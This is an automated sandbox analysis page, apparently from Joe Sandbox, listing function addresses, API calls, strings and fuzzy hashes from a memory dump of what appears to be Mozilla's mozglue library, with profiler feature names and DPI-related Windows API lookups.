Instruction ID: ba078e63ca793d75bcee54607157c46eaea2446afcaaa43baafe55ab90ff6ddd
Opcode Fuzzy Hash: b117316cf130be1c52b50853d5b20fbedfcdcb1e950cb79310cc84172ac76c9c
Instruction Fuzzy Hash: 8FC19171E043288BDB14CFAAC9507AEB7B6FB84304F194529D406ABF80D771AD89CB91

Function 6CA0D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6CA0D7DD
, xrefs: 6CA0DA88
8, xrefs: 6CA0DC08
0, xrefs: 6CA0DC7F
0, xrefs: 6CA0D852
@, xrefs: 6CA0DAF6
9, xrefs: 6CA0DE7F
1, xrefs: 6CA0DBDD

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: a818a78b1f32836459c3555e1736bf9e06f6553f5f5af2e36964db629cfe2600
Instruction ID: 2ccb2b2517c556f3e92123b91ec7d3c205cb62021eb832666429ac00b8e5501e
Opcode Fuzzy Hash: a818a78b1f32836459c3555e1736bf9e06f6553f5f5af2e36964db629cfe2600
Instruction Fuzzy Hash: 8562AF72B0C7458FD711CE29E49075ABBF2AF8639CF184A0DE8D54BA51C33599C9CB82

Function 6CA0BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA0C1CB
__aulldiv.LIBCMT ref: 6CA0C24C
__aulldiv.LIBCMT ref: 6CA0C348
__aullrem.LIBCMT ref: 6CA0C365
__aulldiv.LIBCMT ref: 6CA0C37D

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: c6984872ee229401d27e87860513c311e394c8962339f34b66890ad91131aab9
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: AB323532B046118FC718DE2CC890A56BBE6AFC9358F09876DE899CB395D730ED05CB91

Function 6CA7545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA78A4B

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: c955a74924f74b858b8e291f1216a6772b75e4a92abc22907bc2bfc4223dd755
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 29B1C776A0021A8FDB24CF68CD907D9B7B2FF85314F1902AAC549EB791D73099D5CBA0

Function 6CA7542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA788F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA7925C

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 95e3ec9fe75e413770985c0b27b35c00a142772b69b33794c00e7281fcc008b1
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 9CB1C776E00206CBDB24CF68C9816D9B7B2FF85314F18027AC549EB785D730A9D9CBA0

Function 6CA46CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CA46D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA46E1E

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 1ac1483de357d37c863311059cb0f66422243a7935c870866c7aef0a6a2a824c
Instruction ID: e86e2f7fd438a0d670b164eb3ce5ec9b6aebe7f451f9e84ea648b3ac79ee7c2c
Opcode Fuzzy Hash: 1ac1483de357d37c863311059cb0f66422243a7935c870866c7aef0a6a2a824c
Instruction Fuzzy Hash: D1A181746183858FC715CF24C590BAEFBF2BF89308F44895DE48A87751DB70A889CB92

Function 6CA24640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CA24777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA25585, 6CA255A8, 6CA255C3, 6CA25624

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 8118cdbc04e7eb0b593dc69a7402209aaeb2e83c38507119c568a8b0d70f1d16
Instruction ID: 5c9593e0863d6a154ed52a4f7e818f657dd4cbe7275d5fd6309a3abbe2a65904
Opcode Fuzzy Hash: 8118cdbc04e7eb0b593dc69a7402209aaeb2e83c38507119c568a8b0d70f1d16
Instruction Fuzzy Hash: 38B28C71A156118FD308CF18C590715BBE2BFC5328F2DC76DE86A8B6A9D775E881CB80

Function 6CA685F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA68C7C
__aulldiv.LIBCMT ref: 6CA68DD7

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 038acac948cc87adf87ee4dbf47fd394308921cd9ca9d7303fba66bc616c8882
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: A5329271F001198BDF18CE9EC8A17EEB7B6FB89700F15853AD406BBB90D6349D858B91

Function 6CA45C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CA14A63,?,?), ref: 6CA45F06

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 0fd010e6144c0cbd55d403d064e44ec7b751523b225f03db118439b5a72e842a
Instruction ID: aa7bf90b915d0ad204b74ee684011c0f52fae52b8254027c789d0e06908a708c
Opcode Fuzzy Hash: 0fd010e6144c0cbd55d403d064e44ec7b751523b225f03db118439b5a72e842a
Instruction Fuzzy Hash: 9EC1C275D012098BCB04CF99C5906EEBBF2FF8A318F28815DD8556BB45D732A886CB90

Function 6CA776E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 130274ff5103eba3599458c41907a591c419bf469ec88aec7635e8fe262762d8
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 29321975E006198FCB25CF99C890AADFBB2FF88304F688169C549E7745D731A986CF90

Function 6CA76E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 8fbfafdfa25d90381a547489d6946e7c8a465f2650401df69cd245faff54ee38
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: DD22F875E002198FDB25CF98C980AADF7B2FF88304F6881A9C549E7745D731A986CF90

Function 6CA30512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 2435aba6babee6737bb0ddabaebb826eefdc3f3307e5c5c70d862e60f011efbb
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 5D221871E046298FCB14CF98C890AADF7B2FF89304F588659D54AEB705D731A985CF90

Function 6CA7AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1dbf74c18d74708c0f8c7c50fbc4bd28ae3820321705253af83031c80f44c54
Instruction ID: 8df9fbcd2596597727c8d4bebcb8af969f3dcc45f1f67a0deb4352059f3b737f
Opcode Fuzzy Hash: a1dbf74c18d74708c0f8c7c50fbc4bd28ae3820321705253af83031c80f44c54
Instruction Fuzzy Hash: BBF103766087456FD710CE28C8903AAB7E2BFC5318F189A2DE4D587781E774DCC987A2

Function 6CA0C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 871a2461b4832ea2c2faedb6ee8c6358b0bd7081a2e9268c5ad553bf927bc73d
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 25A1A171F0061A8BDB08CE69D8913AEB7F2AFC8398F188129D915E7781D7345C468BE1

Function 6CA655F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CA3E1A5), ref: 6CA65606
LoadLibraryW.KERNEL32(gdi32,?,6CA3E1A5), ref: 6CA6560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CA65633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CA6563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CA6566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CA6567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CA65696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CA656B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CA656CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CA656E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CA656FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CA65716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CA6572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CA65748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CA65761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CA6577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CA65793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CA657A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CA657BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CA657D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CA657EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CA657FF

Strings

CreateWindowExW, xrefs: 6CA656C5
FillRect, xrefs: 6CA65729
GetSystemMetricsForDpi, xrefs: 6CA65677
GetWindowDC, xrefs: 6CA65710
SetWindowLongPtrW, xrefs: 6CA657B7
ShowWindow, xrefs: 6CA656DE
SetWindowPos, xrefs: 6CA656F7
LoadCursorW, xrefs: 6CA65774
LoadIconW, xrefs: 6CA6575B
CreateSolidBrush, xrefs: 6CA657E4
GetDpiForWindow, xrefs: 6CA65690
AreDpiAwarenessContextsEqual, xrefs: 6CA65637
GetThreadDpiAwarenessContext, xrefs: 6CA6562D
EnableNonClientDpiScaling, xrefs: 6CA65666
RegisterClassW, xrefs: 6CA656AC
DeleteObject, xrefs: 6CA657F9
GetMonitorInfoW, xrefs: 6CA657A2
ReleaseDC, xrefs: 6CA65742
StretchDIBits, xrefs: 6CA657CC
gdi32, xrefs: 6CA6560A
user32, xrefs: 6CA65601
MonitorFromWindow, xrefs: 6CA6578D

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: be57674327103e27448c74cac5834cdc5f380dedcc4ed97878f7908407def3df
Instruction ID: 5065015112ad7a88b3f0c37acc86a91efe0a4aa83cebe22404da42b4f692a3f5
Opcode Fuzzy Hash: be57674327103e27448c74cac5834cdc5f380dedcc4ed97878f7908407def3df
Instruction Fuzzy Hash: D7511374B137039FEB195F369D589263AB8BB07245714C529E921E2F42EB74C882DF70

Function 6CA4CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA1582D), ref: 6CA4CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA1582D), ref: 6CA4CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CA7FE98,?,?,?,?,?,6CA1582D), ref: 6CA4CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA1582D), ref: 6CA4CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA1582D), ref: 6CA4CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA1582D), ref: 6CA4CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA1582D), ref: 6CA4CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CA4CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CA4CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CA4CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CA4CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CA4CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CA4CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CA4CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CA4CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CA4CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CA4CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CA4CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CA4CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CA4CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CA4CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CA4CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CA4CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CA4CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CA4CE8A

Strings

fileioall, xrefs: 6CA4CCA8
Q^, xrefs: 6CA4CD25
cpuallthreads, xrefs: 6CA4CE16
ipcmessages, xrefs: 6CA4CDBE
audiocallbacktracing, xrefs: 6CA4CDD4
mainthreadio, xrefs: 6CA4CC7C
samplingallthreads, xrefs: 6CA4CE2C
processcpu, xrefs: 6CA4CE6E
preferencereads, xrefs: 6CA4CD92
jsallocations, xrefs: 6CA4CD0E
nostacksampling, xrefs: 6CA4CD7C
java, xrefs: 6CA4CC37
unregisteredthreads, xrefs: 6CA4CE58
notimerresolutionchange, xrefs: 6CA4CE00
markersallthreads, xrefs: 6CA4CE42
nativeallocations, xrefs: 6CA4CDA8
stackwalk, xrefs: 6CA4CCF8
noiostacks, xrefs: 6CA4CCBE
screenshots, xrefs: 6CA4CCD4
leaf, xrefs: 6CA4CC66
default, xrefs: 6CA4CC21
seqstyle, xrefs: 6CA4CCE6
Unrecognized feature "%s"., xrefs: 6CA4CEA0
fileio, xrefs: 6CA4CC92
power, xrefs: 6CA4CE84

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: 1d46b5b599ab837ccd75484d0b816333e385b5f0a96a28eb272dbbaad2ec3fe8
Instruction ID: 81bfc4a0eec5d2490e43dd1850651b62f5eaf53f479d9027ccafd38530b6d6cf
Opcode Fuzzy Hash: 1d46b5b599ab837ccd75484d0b816333e385b5f0a96a28eb272dbbaad2ec3fe8
Instruction Fuzzy Hash: 3C51B6E5A0622526FE5031156E11BAA540CFF5324EF18D43AED0EA1E80FF09A6CD87B7

Function 6CA14470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA14730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA144B2,6CA8E21C,6CA8F7F8), ref: 6CA1473E
Part of subcall function 6CA14730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA1474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA144BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA144D2
InitOnceExecuteOnce.KERNEL32(6CA8F80C,6CA0F240,?,?), ref: 6CA1451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA1455C
LoadLibraryW.KERNEL32(?), ref: 6CA14592
InitializeCriticalSection.KERNEL32(6CA8F770), ref: 6CA145A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA145AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA145BB
InitOnceExecuteOnce.KERNEL32(6CA8F818,6CA0F240,?,?), ref: 6CA14612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA14636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA14644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA1466D
VerSetConditionMask.NTDLL ref: 6CA1469F
VerSetConditionMask.NTDLL ref: 6CA146AB
VerSetConditionMask.NTDLL ref: 6CA146B2
VerSetConditionMask.NTDLL ref: 6CA146B9
VerSetConditionMask.NTDLL ref: 6CA146C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA146CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA146F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA146FD

Strings

NativeNtBlockSet_Write, xrefs: 6CA146F7
user32.dll, xrefs: 6CA14557, 6CA1463F
WRusr.dll, xrefs: 6CA144B5
kernel32.dll, xrefs: 6CA144CD
l, xrefs: 6CA14578

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
